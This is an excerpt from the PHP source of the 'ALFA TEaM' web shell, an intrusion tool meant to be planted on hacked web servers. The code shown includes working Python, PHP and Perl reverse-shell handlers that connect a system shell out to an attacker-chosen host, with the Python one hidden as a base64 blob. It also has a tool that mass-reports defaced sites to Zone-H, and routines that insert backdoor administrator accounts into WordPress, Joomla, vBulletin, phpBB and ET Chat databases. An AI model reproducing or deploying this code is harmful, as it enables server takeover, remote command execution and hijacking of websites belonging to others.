1669$back_connect_py="IyEvdXNyL2Jpbi9weXRob24NCg0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KDQpob3N0ID0gc3lzLmFyZ3ZbMV0NCnBvcnQgPSBpbnQoc3lzLmFyZ3ZbMl0pDQoNCnNvY2tldC5zZXRkZWZhdWx0dGltZW91dCg2MCkNCg0KZGVmIGJjKCk6DQogIHRyeToNCiAgICBzb2sgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkNCiAgICBzb2suY29ubmVjdCgoaG9zdCxwb3J0KSkNCiAgICBzb2suc2VuZCgnJydzb2xldmlzaWJsZUBnbWFpbC5jb21cblxuJycnKQ0KICAgIG9zLmR1cDIoc29rLmZpbGVubygpLDApDQogICAgb3MuZHVwMihzb2suZmlsZW5vKCksMSkNCiAgICBvcy5kdXAyKHNvay5maWxlbm8oKSwyKQ0KICAgIG9zLmR1cDIoc29rLmZpbGVubygpLDMpDQogICAgc2hlbGwgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSkNCiAgZXhjZXB0IHNvY2tldC50aW1lb3V0Og0KICAgIHByaW50ICJbIV0gQ29ubmVjdGlvbiB0aW1lZCBvdXQiDQogIGV4Y2VwdCBzb2NrZXQuZXJyb3IsIGU6DQogICAgcHJpbnQgIlshXSBFcnJvciB3aGlsZSBjb25uZWN0aW5nIiwgZQ0KICANCmJjKCk=";
1670echo "<div class=header><center><h3><span>| Back Connect |</span></h3>";
1671echo "<form onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span><font color=\"#00A220\">PERL BACK CONNECT</font><br></span><br><font color=\"#00A220\"><b>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form></b></font>";
1672echo "<br><form onSubmit=\"g(null,null,'php',this.server.value,this.port.value);return false;\"><span>PHP BACK CONNECT<br></span><br><font color=\"#FFFFFF\"><b>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form><br>";
1673echo "<br><form onSubmit=\"g(null,null,'py',this.server.value,this.port.value);return false;\"><span><font color=\"#FF0000\">PYTHON BACK CONNECT</font><br></span><br><font color=\"#FF0000\"><b>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form></center><br>";
1674if(isset($_POST['alfa1'])) {
1675function cf($f,$t) {
1676$w = @fopen($f,"w") or @function_exists('file_put_contents');
1677if($w){
1678@fwrite($w,@base64_decode($t));
1679@fclose($w);
1680}
1681}
1682if($_POST['alfa1'] == 'bcp') {
1683cf("/tmp/bc.pl",$back_connect_p);
1684$out = alfaEx("perl /tmp/bc.pl ".$_POST['alfa2']." ".$_POST['alfa3']." 1>/dev/null 2>&1 &");
1685echo "<pre class=ml1 style='margin-top:5px'>Successfully opened reverse shell to ".$_POST['alfa2'].":".$_POST['alfa3']."<br>Connecting...[Perl]</pre>";
1686@unlink("/tmp/bc.pl");
1687}
1688if($_POST['alfa1'] == 'py') {
1689cf("/tmp/bc.py",$back_connect_py);
1690$out = alfaEx("python /tmp/bc.py ".$_POST['alfa2']." ".$_POST['alfa3']." 1>/dev/null 2>&1 &");
1691echo "<pre class=ml1 style='margin-top:5px'>Successfully opened reverse shell to ".$_POST['alfa2'].":".$_POST['alfa3']."<br>Connecting...[Python]</pre>";
1692@unlink("/tmp/bc.py");
1693}
1694if($_POST['alfa1']=='php')
1695{
1696@set_time_limit (0);
1697$ip = $_POST['alfa2'];
1698$port =$_POST['alfa3'];
1699$chunk_size = 1400;
1700$write_a = null;
1701$error_a = null;
1702$shell = 'uname -a; w; id; /bin/sh -i';
1703$daemon = 0;
1704$debug = 0;
1705echo "<pre class=ml1 style='margin-top:5px'>";
1706if (function_exists('pcntl_fork')) {
1707$pid = pcntl_fork();
1708if ($pid == -1) {
1709echo "Cant fork!<br>";
1710exit(1);
1711}
1712if ($pid) {
1713exit(0);
1714}
1715if (posix_setsid() == -1) {
1716echo "Error: Can't setsid()<br>";
1717exit(1);
1718}
1719$daemon = 1;
1720} else {
1721echo "WARNING: Failed to daemonise. This is quite common and not fatal<br>";
1722}
1723chdir(htmlspecialchars($GLOBALS['cwd']));
1724umask(0);
1725$sock = fsockopen($ip, $port, $errno, $errstr, 30);
1726if (!$sock) {
1727echo "$errstr ($errno)";
1728exit(1);
1729}
1730$descriptorspec = array(
17310 => array("pipe", "r"),
17321 => array("pipe", "w"),
17332 => array("pipe", "w")
1734);
1735$process = proc_open($shell, $descriptorspec, $pipes);
1736if (!is_resource($process)) {
1737echo "ERROR: Can't spawn shell<br>";
1738exit(1);
1739}
1740@stream_set_blocking($pipes[0], 0);
1741@stream_set_blocking($pipes[1], 0);
1742@stream_set_blocking($pipes[2], 0);
1743@stream_set_blocking($sock, 0);
1744echo "Successfully opened reverse shell to $ip:$port [Php]<br>";
1745while (1) {
1746if (feof($sock)) {
1747echo "ERROR: Shell connection terminated<br>";
1748break;
1749}
1750if (feof($pipes[1])) {
1751echo "ERROR: Shell process terminated<br>";
1752break;
1753}
1754$read_a = array($sock, $pipes[1], $pipes[2]);
1755$num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);
1756if (in_array($sock, $read_a)) {
1757if ($debug) echo "SOCK READ<br>";
1758$input=fread($sock, $chunk_size);
1759if ($debug) echo "SOCK: $input<br>";
1760fwrite($pipes[0], $input);
1761}
1762if (in_array($pipes[1], $read_a)) {
1763if ($debug) echo "STDOUT READ<br>";
1764$input = fread($pipes[1], $chunk_size);
1765if ($debug) echo "STDOUT: $input<br>";
1766fwrite($sock, $input);
1767}
1768if (in_array($pipes[2], $read_a)) {
1769if ($debug) echo "STDERR READ<br>";
1770$input = fread($pipes[2], $chunk_size);
1771if ($debug) echo "STDERR: $input<br>";
1772fwrite($sock, $input);
1773}
1774}
1775fclose($sock);
1776fclose($pipes[0]);
1777fclose($pipes[1]);
1778fclose($pipes[2]);
1779proc_close($process);
1780echo "</pre>";
1781}
1782}
1783echo "</div>";
1784alfafooter();
1785}
1786function ZoneH($url, $hacker, $hackmode,$reson, $site )
1787{
1788$k = curl_init();
1789curl_setopt($k, CURLOPT_URL, $url);
1790curl_setopt($k,CURLOPT_POST,true);
1791curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
1792curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
1793curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
1794$kubra = curl_exec($k);
1795curl_close($k);
1796return $kubra;
1797}
1798function alfazoneh()
1799{
1800alfahead();
1801echo '<div class=header>';
1802if(!function_exists('curl_version'))
1803{
1804echo "<pre class=ml1 style='margin-top:5px'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";
1805}
1806echo '
1807<center><br><b><font color="#FFFF01">==</font> <font color="#00A220">ZONE-H</font> <font color="#FFFFFF">Mass</font> <font color="#FF0000">Poster</font><font color="#FFFF01"> ==</font></b><center><br>
1808<form action="" method="post" onsubmit="g(\'zoneh\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,this.go.value); return false;">
1809<input type="text" name="defacer" size="67" id="text" value="ALFA TEaM 2012" />
1810<br>
1811<select id="text" name="hackmode">
1812<option>------------------------------------SELECT-------------------------------------</option>
1813<option style="background-color: rgb(F, F, F);" value="1" >known vulnerability (i.e. unpatched system)</option>
1814<option style="background-color: rgb(F, F, F);" value="2" >undisclosed (new) vulnerability</option>
1815<option style="background-color: rgb(F, F, F);" value="3" >configuration / admin. mistake</option>
1816<option style="background-color: rgb(F, F, F);" value="4" >brute force attack</option>
1817<option style="background-color: rgb(F, F, F);" value="5" >social engineering</option>
1818<option style="background-color: rgb(F, F, F);" value="6" >Web Server intrusion</option>
1819<option style="background-color: rgb(F, F, F);" value="7" >Web Server external module intrusion</option>
1820<option style="background-color: rgb(F, F, F);" value="8" >Mail Server intrusion</option>
1821<option style="background-color: rgb(F, F, F);" value="9" >FTP Server intrusion</option>
1822<option style="background-color: rgb(F, F, F);" value="10" >SSH Server intrusion</option>
1823<option style="background-color: rgb(F, F, F);" value="11" >Telnet Server intrusion</option>
1824<option style="background-color: rgb(F, F, F);" value="12" >RPC Server intrusion</option>
1825<option style="background-color: rgb(F, F, F);" value="13" >Shares misconfiguration</option>
1826<option style="background-color: rgb(F, F, F);" value="14" >Other Server intrusion</option>
1827<option style="background-color: rgb(F, F, F);" value="15" >SQL Injection</option>
1828<option style="background-color: rgb(F, F, F);" value="16" >URL Poisoning</option>
1829<option style="background-color: rgb(F, F, F);" value="17" >File Inclusion</option>
1830<option style="background-color: rgb(F, F, F);" value="18" >Other Web Application bug</option>
1831<option style="background-color: rgb(F, F, F);" value="19" >Remote administrative panel access bruteforcing</option>
1832<option style="background-color: rgb(F, F, F);" value="20" >Remote administrative panel access password guessing</option>
1833<option style="background-color: rgb(F, F, F);" value="21" >Remote administrative panel access social engineering</option>
1834<option style="background-color: rgb(F, F, F);" value="22" >Attack against administrator(password stealing/sniffing)</option>
1835<option style="background-color: rgb(F, F, F);" value="23" >Access credentials through Man In the Middle attack</option>
1836<option style="background-color: rgb(F, F, F);" value="24" >Remote service password guessing</option>
1837<option style="background-color: rgb(F, F, F);" value="25" >Remote service password bruteforce</option>
1838<option style="background-color: rgb(F, F, F);" value="26" >Rerouting after attacking the Firewall</option>
1839<option style="background-color: rgb(F, F, F);" value="27" >Rerouting after attacking the Router</option>
1840<option style="background-color: rgb(F, F, F);" value="28" >DNS attack through social engineering</option>
1841<option style="background-color: rgb(F, F, F);" value="29" >DNS attack through cache poisoning</option>
1842<option style="background-color: rgb(F, F, F);" value="30" >Not available</option>
1843<option style="background-color: rgb(F, F, F);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
1844</select> <br>
1845<select id="text" name="reason">
1846<option >------------------------------------SELECT-------------------------------------</option>
1847<option style="background-color: rgb(F, F, F);" value="1" >Heh...just for fun!</option>
1848<option style="background-color: rgb(F, F, F);" value="2" >Revenge against that website</option>
1849<option style="background-color: rgb(F, F, F);" value="3" >Political reasons</option>
1850<option style="background-color: rgb(F, F, F);" value="4" >As a challenge</option>
1851<option style="background-color: rgb(F, F, F);" value="5" >I just want to be the best defacer</option>
1852<option style="background-color: rgb(F, F, F);" value="6" >Patriotism</option>
1853<option style="background-color: rgb(F, F, F);" value="7" >Not available</option>
1854option style="background-color: rgb(F, F, F);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
1855</select><br>
1856<textarea name="domain" cols="90" rows="20" placeholder="Domains..."></textarea><br>
1857<input type="submit" value=">>" name="go"/>
1858</form></center>';
1859if($_POST['alfa5'] && $_POST['alfa5'] == '>>'){
1860ob_start();
1861$hacker = $_POST['alfa1'];
1862$method = $_POST['alfa2'];
1863$neden = $_POST['alfa3'];
1864$site = $_POST['alfa4'];
1865if (empty($hacker))
1866{
1867die ("<center><b><font color =\"#FF0000\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");
1868}
1869elseif($method == "------------------------------------SELECT-------------------------------------")
1870{
1871die("<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");
1872}
1873elseif($neden == "------------------------------------SELECT-------------------------------------")
1874{
1875die("<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");
1876}
1877elseif(empty($site))
1878{
1879die("<center><b><font color =\"#FF0000\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");
1880}
1881$i = 0;
1882$sites = explode("\n", $site);
1883while($i < count($sites))
1884{
1885if(substr($sites[$i], 0, 4) != "http")
1886{
1887$sites[$i] = "http://".$sites[$i];
1888}
1889ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]);
1890++$i;
1891}
1892echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color =\"#00A220\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";
1893}
1894echo "</div>";
1895alfafooter();
1896}
1897function alfateam()
1898{
1899alfahead();
1900echo "<div class=header>";
1901echo "<pre>
1902<center><img height=\"300\" width=\"450\" src=\"http://iran.grn.cc/alfa-iran.jpg\">
1903<font color=\"#FFFF01\">
1904<br>
1905<font color=#00A220><b>Shell Coded By Sole Sad & Invisible(ALFA TEaM)Iranian Hackers :)</font><b>special thanks to MadLeets</b></font><br>
1906<font color=#00A220>Contact : solevisible@gmail.com<br></font>
1907<font color=#FFFFFF>Skype : ehsan.invisible</font><br>
1908<font color=#FFFFFF><b>Skype : sole.sad</b></font><br><b>
1909<font color=#FF0000><b>Persian Gulf For Ever</b></font><br><b>
1910
1911</pre></div>";
1912alfafooter();
1913}
1914function alfapwchanger(){
1915alfahead();
1916echo '<div class=header><script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script><center><h3><span>| Add New Admin |</span></h3>
1917<center><h3>
1918<a href=# onclick="g(\'pwchanger\',null,\'wp\')">| WordPress | </a>
1919<a href=# onclick="g(\'pwchanger\',null,null,\'joomla\')">| Joomla | </a>
1920<a href=# onclick="g(\'pwchanger\',null,null,null,\'etchat\')">| ET CHAT | </a>
1921<a href=# onclick="g(\'pwchanger\',null,null,null,null,\'vb\')">| vBulletin | </a>
1922<a href=# onclick="g(\'pwchanger\',null,null,null,null,null,\'phpbb\')">| phpBB | </a>
1923<a href=# onclick="g(\'pwchanger\',null,null,null,null,null,null,\'whmcs\')">| whmcs | </a>
1924<a href=# onclick="g(\'pwchanger\',null,null,null,null,null,null,null,\'mybb\')">| MyBB | </a>
1925<a href=# onclick="g(\'pwchanger\',null,null,null,null,null,null,null,null,\'nuke\')">| Php Nuke | </a>
1926</h3></center>';
1927if ($_POST['alfa1'] && $_POST['alfa1']== 'wp'){
1928echo '<b><center><script>alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
1929<center><b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">WordPress</font><font color="#FFFF01"> ==</font></b><p>
1930<FORM onSubmit="g(\'pwchanger\',null,\'wp\',this.send.value,this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">
1931<table border=1>
1932<tr><td><font color=#FFFFFF>Host :</td>
1933<td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
1934<tr><td><font color=#FFFFFF>Database :</td>
1935<td> <INPUT size="30" value="" name="database" type="text"></td></tr>
1936<tr><td><font color=#FFFFFF>Table Prefix :</td>
1937<td><INPUT size="30" value="wp_" name="prefix" type="text"></td></tr>
1938<tr><td><font color=#FFFFFF>Username : </td>
1939<td> <INPUT size="30" value="" name="username" type="text"></td></tr>
1940<tr><td><font color=#FFFFFF>Password :</td>
1941<td> <INPUT size="30" value="" name="password" type="text"></td></tr>
1942<tr><td><font color=#FF0000>Admin Username:</td>
1943<td><INPUT name="admin" size="30" value="admin"></td></tr>
1944<tr><td><font color=#FF0000>Admin Password: </td>
1945<td><INPUT name="kh" size="30" value="solevisible" disabled /></td></tr>
1946<tr><td><font color=#FF0000>Admin Email:</td>
1947<td><INPUT name="email" size="30" value="solevisible@fbi.gov"></td></tr>
1948</table>
1949<INPUT value=">>" name="send" type="submit">
1950</FORM></b>';
1951if ($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
1952$localhost = $_POST['alfa3'];
1953$database = $_POST['alfa4'];
1954$username = $_POST['alfa5'];
1955$password = $_POST['alfa6'];
1956$admin = $_POST['alfa8'];
1957$SQL = $_POST['alfa9'];
1958$prefix = $_POST['alfa10'];
1959@mysql_connect($localhost,$username,$password) or die(mysql_error());
1960@mysql_select_db($database) or die(mysql_error());
1961$solevisible=@mysql_query("insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','$SQL')") or die(mysql_error());
1962$solevisible=@mysql_query("select ID from ".$prefix."users where user_login='".$admin."'") or die(mysql_error());
1963$sole = mysql_num_rows($solevisible);
1964if ($sole == 1){
1965$solevis = mysql_fetch_assoc($solevisible);
1966$res = $solevis['ID'];
1967}
1968$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','first_name','solevisible')") or die(mysql_error());
1969$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','last_name','solevisible')") or die(mysql_error());
1970$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','nickname','solevisible')") or die(mysql_error());
1971$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','description','solevisible')") or die(mysql_error());
1972$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','rich_editing','true')") or die(mysql_error());
1973$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','comment_shortcuts','false')") or die(mysql_error());
1974$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','admin_color','fresh')") or die(mysql_error());
1975$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','use_ssl','0')") or die(mysql_error());
1976$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','show_admin_bar_front','true')") or die(mysql_error());
1977$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','wp_capabilities','a:1:{s:13:\"administrator\";b:1;}')") or die(mysql_error());
1978$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','wp_user_level','10')") or die(mysql_error());
1979$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','dismissed_wp_pointers','wp330_toolbar,wp330_saving_widgets,wp340_choose_image_from_library,wp340_customize_current_theme_link,wp350_media')") or die(mysql_error());
1980$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','show_welcome_panel','1')") or die(mysql_error());
1981$solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','wp_dashboard_quick_press_last_post_id','3')") or die(mysql_error());
1982if($solevisible){
1983echo "<center><br><b><script>alert('Success... ".$admin." is created :)')</script></b></center> "; }
1984}
1985}
1986if ($_POST['alfa2'] && $_POST['alfa2'] == 'joomla' ){
1987echo '<script>alfa1_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
1988<b><center><FORM onSubmit="g(\'pwchanger\',null,this.send.value,\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">
1989<center><b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">Joomla</font><font color="#FFFF01"> ==</font></b>
1990<p><table border=1>
1991<tr><td><font color=#FFFFFF> host :</td>
1992<td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
1993<tr><td><font color=#FFFFFF>database: </td>
1994<td><INPUT size="30" value="" name="database" type="text"></td></tr>
1995<tr><td><font color=#FFFFFF>Table Prefix :</td>
1996<td><INPUT size="30" value="jos_" name="prefix" type="text"></td></tr>
1997<tr><td><font color=#FFFFFF>username : </td>
1998<td> <INPUT size="30" value="" name="username" type="text"></td></tr>
1999<tr><td><font color=#FFFFFF>password : </td>
2000<td> <INPUT size="30" value="" name="password" type="text"></td></tr>
2001<tr><td><font color=#FF0000>Admin username:</td>
2002<td><INPUT name="admin" size="30" value="admin"></td></tr>
2003<tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
2004<td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
2005<tr><td><font color=#FF0000>Admin Email:</td>
2006<td> <INPUT name="email" size="30" value="solevisible@fbi.gov"></td></tr>
2007</table>
2008<INPUT value=">>" name="send" type="submit">
2009</FORM></center></b>';
2010if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
2011$localhost = $_POST['alfa3'];
2012$database = $_POST['alfa4'];
2013$username = $_POST['alfa5'];
2014$password = $_POST['alfa6'];
2015$admin = $_POST['alfa8'];
2016$SQL = $_POST['alfa9'];
2017$prefix = $_POST['alfa10'];
2018@mysql_connect($localhost,$username,$password) or die(mysql_error());
2019@mysql_select_db($database) or die(mysql_error());
2020$solevisible=@mysql_query("insert into ".$prefix."users (id,name,username,email,password) values(null,'Super User','".$admin."','".$SQL."','d4a590caacc0be55ef286e40a945ea45')") or die(mysql_error());
2021$solevisible=@mysql_query("select id from ".$prefix."users where username='".$admin."'") or die(mysql_error());
2022$sole = mysql_num_rows($solevisible);
2023if ($sole == 1){
2024$solevis = mysql_fetch_assoc($solevisible);
2025$res = $solevis['id'];
2026}
2027$solevisible=@mysql_query("INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES ('".$res."', '8')") or die(mysql_error());
2028if($solevisible){
2029echo "<center><br><b><script>alert('Success... ".$admin." is created :)')</script></b></center> "; }
2030}
2031}
2032if ($_POST['alfa3'] && $_POST['alfa3'] == 'etchat'){
2033echo '<script>alfa1_=alfa2_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
2034<b><center> <FORM onSubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,\'etchat\',this.database.value,this.username.value,this.password.value,null,this.admin.value,null); return false;" method="POST">
2035<b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">Etchat</font><font color="#FFFF01"> ==</font></b>
2036<p><table border=1>
2037<tr><td><font color=#FFFFFF> host :</td>
2038<td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
2039<tr><td><font color=#FFFFFF>database: </td>
2040<td><INPUT size="30" value="" name="database" type="text"></td></tr>
2041<tr><td><font color=#FFFFFF>username : </td>
2042<td> <INPUT size="30" value="" name="username" type="text"></td></tr>
2043<tr><td><font color=#FFFFFF>password : </td>
2044<td> <INPUT size="30" value="" name="password" type="text"></td></tr>
2045<tr><td><font color=#FF0000>Admin username:</td>
2046<td><INPUT name="admin" size="30" value="admin"></td></tr>
2047<tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
2048<td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
2049</table>
2050<INPUT value=">>" name="send" type="submit">
2051</FORM></center></b>';
2052if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
2053$localhost = $_POST['alfa2'];
2054$database = $_POST['alfa4'];
2055$username = $_POST['alfa5'];
2056$password = $_POST['alfa6'];
2057$admin = $_POST['alfa8'];
2058@mysql_connect($localhost,$username,$password) or die(mysql_error());
2059@mysql_select_db($database) or die(mysql_error());
2060$solevisible=@mysql_query("insert into db1_etchat_user (etchat_user_id,etchat_username,etchat_userpw,etchat_userprivilegien) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','admin')") or die(mysql_error());
2061if($solevisible){
2062echo "<center><br><b><script>alert('Success... ".$admin." is created :)')</script></b></center> "; }
2063}
2064}
2065if ($_POST['alfa4'] && $_POST['alfa4'] == 'vb'){
2066echo '<script>alfa1_=alfa2_=alfa3_=alfa5_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
2067<b><center><FORM onSubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">
2068<center><b><b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">vBulletin</font><font color="#FFFF01"> ==</font></b><p> <table border=1>
2069<tr><td><font color="#FFFFFF">host :</font></td>
2070<td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
2071<tr><td><font color="#FFFFFF">database :</font></td>
2072<td> <INPUT size="30" value="" name="database" type="text"></td></tr>
2073<tr><td><font color="#FFFFFF">username :</font></td>
2074<td><INPUT size="30" value="" name="username" type="text"></td></tr>
2075<tr><td><font color="#FFFFFF">password :</font></td>
2076<td><INPUT size="30" value="" name="password" type="text"></td></tr>
2077<tr><td><font color="#FFFFFF">Prefix : </font></td>
2078<td><INPUT name="prefix" size="30" value="" /></td></tr>
2079<tr><td><font color="#FF0000">Admin username:</font></td>
2080<td><INPUT name="admin" size="30" value="admin"></td></tr>
2081<tr><td><font color="#FF0000">Admin Password : </font></td>
2082<td><INPUT name="hi" size="30" value="solevisible" disabled/></td></tr>
2083<tr><td><font color="#FF0000">Admin Email : </font></td>
2084<td><INPUT name="email" size="30" value="solevisible@fbi.gov"> </td></tr>
2085</table>
2086<INPUT value=">>" name="send" type="submit">
2087</FORM>
2088</b></center>';
2089if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
2090$localhost = $_POST['alfa2'];
2091$database = $_POST['alfa3'];
2092$username = $_POST['alfa5'];
2093$password = $_POST['alfa6'];
2094$prefix = $_POST['alfa7'];
2095$admin = $_POST['alfa8'];
2096$SQL = $_POST['alfa9'];
2097@mysql_connect($localhost,$username,$password) or die(mysql_error());
2098@mysql_select_db($database) or die(mysql_error());
2099$solevisible=@mysql_query("insert into {$prefix}user (userid,usergroupid,username,password,salt,email) values(null,'6','$admin','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','$SQL')") or die(mysql_error());
2100$solevisible=@mysql_query("select userid from {$prefix}user where username='".$admin."'") or die(mysql_error());
2101$sole = mysql_num_rows($solevisible);
2102if ($sole == 1){
2103$solevis = mysql_fetch_assoc($solevisible);
2104$res = $solevis['userid'];
2105}
2106$solevisible=@mysql_query("insert into {$prefix}administrator (userid,adminpermissions) values('".$res."','16744444')") or die(mysql_error());
2107if($solevisible){
2108echo "<center><br><b><script>alert('Success... ".$admin." is created :)')</script></b></center> "; }
2109}
2110}
2111if ($_POST['alfa5'] && $_POST['alfa5'] == 'phpbb'){
2112echo '<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
2113<b> <center><FORM onSubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">
2114<b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">phpBB</font><font color="#FFFF01"> ==</font></b>
2115<p><table border=1>
2116<tr><td><font color=#FFFFFF> host :</td>
2117<td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
2118<tr><td><font color=#FFFFFF>database: </td>
2119<td><INPUT size="30" value="" name="database" type="text"></td></tr>
2120<tr><td><font color=#FFFFFF>Table Prefix :</td>
2121<td><INPUT size="30" value="" name="prefix" type="text"></td></tr>
2122<tr><td><font color=#FFFFFF>username : </td>
2123<td> <INPUT size="30" value="" name="username" type="text"></td></tr>
2124<tr><td><font color=#FFFFFF>password : </td>
2125<td> <INPUT size="30" value="" name="password" type="text"></td></tr>
2126<tr><td><font color=#FF0000>Admin username:</td>
2127<td><INPUT name="admin" size="30" value="admin"></td></tr>
2128<tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
2129<td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
2130<tr><td><font color=#FF0000>Admin Email:</td>
2131<td> <INPUT name="email" size="30" value="solevisible@fbi.gov"></td></tr>
2132</table>
2133<INPUT value=">>" name="send" type="submit">
2134</FORM><center></b>';
2135if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
2136$localhost = $_POST['alfa2'];
2137$database = $_POST['alfa3'];
2138$username = $_POST['alfa4'];
2139$password = $_POST['alfa6'];
2140$pwd = $_POST['alfa7'];
2141$admin = $_POST['alfa8'];
2142$SQL = $_POST['alfa9'];
2143$prefix = $_POST['alfa10'];
2144@mysql_connect($localhost,$username,$password) or die(mysql_error());
2145@mysql_select_db($database) or die(mysql_error());
2146$hash = md5($pwd);
2147$solevisible=@mysql_query("UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE username_clean = 'admin'") or die(mysql_error());
2148$solevisible=@mysql_query("UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE username_clean = 'admin'") or die(mysql_error());
2149$solevisible=@mysql_query("UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE user_type = 3") or die(mysql_error());
2150$solevisible=@mysql_query("UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE user_type = 3") or die(mysql_error());
2151$solevisible=@mysql_query("UPDATE ".$prefix."users SET user_email ='".$SQL."' WHERE username_clean = 'admin'") or die(mysql_error());
2152if($solevisible){
